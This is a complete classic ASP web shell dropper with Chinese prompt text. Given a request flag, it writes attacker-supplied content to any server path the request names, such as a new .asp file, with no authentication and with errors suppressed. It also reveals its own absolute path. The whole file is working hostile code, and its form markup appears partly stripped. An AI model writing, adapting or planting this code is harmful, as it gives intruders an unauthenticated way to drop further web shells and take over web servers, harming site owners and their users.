<% if request("action")="ok" then %>
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "save Success!"%>
<%else%>
<%response.write "Save UnSuccess!"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write " "%><%Response.write "保存文件的绝对路径(包括文件名:如D:\web\x.asp):"%>
<%Response.Write ""%>
<%Response.Write "
"%>
<%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("S C R I P T_NAME"))%>
<%Response.write "
"%>
<%Response.write "输入的内容:"%>
<%Response.write ""%>
<%Response.write ""%>
<%Response.write ""%><% end if%>